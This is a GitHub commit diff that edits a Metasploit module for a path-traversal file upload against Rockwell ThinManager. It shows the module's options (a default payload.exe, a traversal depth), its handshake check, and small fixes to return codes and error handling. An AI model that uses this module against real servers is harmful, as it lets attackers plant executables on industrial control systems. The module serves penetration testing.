Skip to content

Commit 635d25e

Browse files
committed
Update thinmanager_traversal_upload2.rb
1 parent 9ab2acc commit 635d25e

File tree

1 file changed

+8
-7
lines changed

1 file changed

+8
-7
lines changed

modules/auxiliary/admin/networking/thinmanager_traversal_upload2.rb

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::Remote::Tcp
88
include Msf::Auxiliary::Report
99
prepend Msf::Exploit::Remote::AutoCheck
10-
CheckCode = Exploit::CheckCode
1110

1211
def initialize(info = {})
1312
super(
@@ -44,7 +43,7 @@ def initialize(info = {})
4443

4544
register_options(
4645
[
47-
OptString.new('LFILE', [false, 'The local file to transfer to the remote system.', '/tmp/payload.exe']),
46+
OptPath.new('LFILE', [false, 'The local file to transfer to the remote system.', '/tmp/payload.exe']),
4847
OptString.new('RFILE', [false, 'The file path to store the file on the remote system.', '/Program Files/Rockwell Software/ThinManager/payload.exe']),
4948
OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 7 ])
5049
]
@@ -54,8 +53,9 @@ def initialize(info = {})
5453
def check
5554
begin
5655
connect
57-
rescue Rex::ConnectionTimeout => e
58-
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
56+
rescue Rex::ConnectionTimeout
57+
print_error("Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed.")
58+
return CheckCode::Unreachable
5959
end
6060

6161
vprint_status('Sending handshake...')
@@ -66,19 +66,19 @@ def check
6666
res = sock.get_once(4096, 5)
6767
expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b
6868

69-
if res && res.start_with?(expected_header)
69+
if res&.start_with?(expected_header)
7070
vprint_status('Received handshake response.')
7171
vprint_status(Rex::Text.to_hex_dump(res))
7272
disconnect
73-
return CheckCode::Detected
73+
return Exploit::CheckCode::Detected
7474
elsif res
7575
vprint_status('Received unexpected handshake response:')
7676
vprint_status(Rex::Text.to_hex_dump(res))
7777
disconnect
7878
return Exploit::CheckCode::Safe
7979
else
8080
disconnect
81-
returnExploit::CheckCode::Unknown('No handshake response received.')
81+
return Exploit::CheckCode::Unknown('No handshake response received.')
8282
end
8383
end
8484

@@ -106,6 +106,7 @@ def run
106106
vprint_status(Rex::Text.to_hex_dump(res))
107107
else
108108
print_error('No handshake response received.')
109+
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
109110
end
110111

111112
lfile = datastore['LFILE']

0 commit comments

Comments
 (0)